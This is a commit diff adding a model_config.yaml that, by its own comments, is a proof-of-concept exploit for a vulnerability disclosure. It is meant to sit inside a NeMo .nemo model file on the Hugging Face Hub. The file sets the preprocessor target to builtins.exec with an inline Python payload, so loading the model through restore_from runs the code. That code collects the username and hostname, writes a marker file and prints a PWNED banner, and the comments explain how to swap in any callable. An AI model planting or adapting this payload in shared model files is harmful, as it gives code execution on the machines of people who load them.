Upload model_config.yaml with huggingface_hub

model_config.yaml

@@ -0,0 +1,45 @@
+# ===========================================================================
+#  MALICIOUS model_config.yaml  --  this is the file packed inside the .nemo
+# ---------------------------------------------------------------------------
+#  A real attacker ships this verbatim inside an innocent-looking vocoder
+#  ".nemo" on the Hugging Face Hub. When a victim calls the documented
+#  WaveGlowModel.restore_from(<file>.nemo) API, NeMo 2.7.3 does:
+#
+#     conf  = OmegaConf.load("model_config.yaml")          # this file (untrusted)
+#     model = WaveGlowModel.from_config_dict(conf)          # -> WaveGlowModel(cfg=conf)
+#       -> WaveGlowModel.__init__  (waveglow.py:49):
+#            instantiate(self._cfg.preprocessor)            # RAW hydra.utils.instantiate
+#
+#  hydra.utils.instantiate() resolves and CALLS `_target_` with `_args_`.
+#  There is NO safe_instantiate / allow-list on this path, so any callable
+#  (builtins.exec, os.system, subprocess.call, ...) runs at load time.
+#
+#  The payload below is deliberately benign: it prints a banner and writes a
+#  marker file into the OS temp dir. Swap `_target_`/`_args_` for proof that
+#  an attacker controls the call.
+# ===========================================================================
+
+sigma: 1.0
+
+# ---- THE SINK: instantiate(self._cfg.preprocessor) at waveglow.py:49 ----
+preprocessor:
+  _target_: builtins.exec
+  _args_:
+    - |
+      import os, tempfile, getpass, platform
+      _msg = "NeMo .nemo restore_from() ARBITRARY CODE EXECUTION  (huntr PoC)"
+      _marker = os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt")
+      with open(_marker, "w") as _f:
+          _f.write(_msg + "\n")
+          _f.write("user=" + getpass.getuser() + "  host=" + platform.node() + "\n")
+          _f.write("pid="  + str(os.getpid()) + "  cwd=" + os.getcwd() + "\n")
+      print("\n" + "=" * 72)
+      print("[PWNED] " + _msg)
+      print("        code executed INSIDE WaveGlowModel.restore_from() __init__")
+      print("        (hydra.utils.instantiate on untrusted model_config.yaml)")
+      print("        marker written to: " + _marker)
+      print("=" * 72 + "\n")
+
+# second raw sink at waveglow.py:50 (instantiate(self._cfg.waveglow));
+# left empty -- the preprocessor payload above has already executed by now.
+waveglow: {}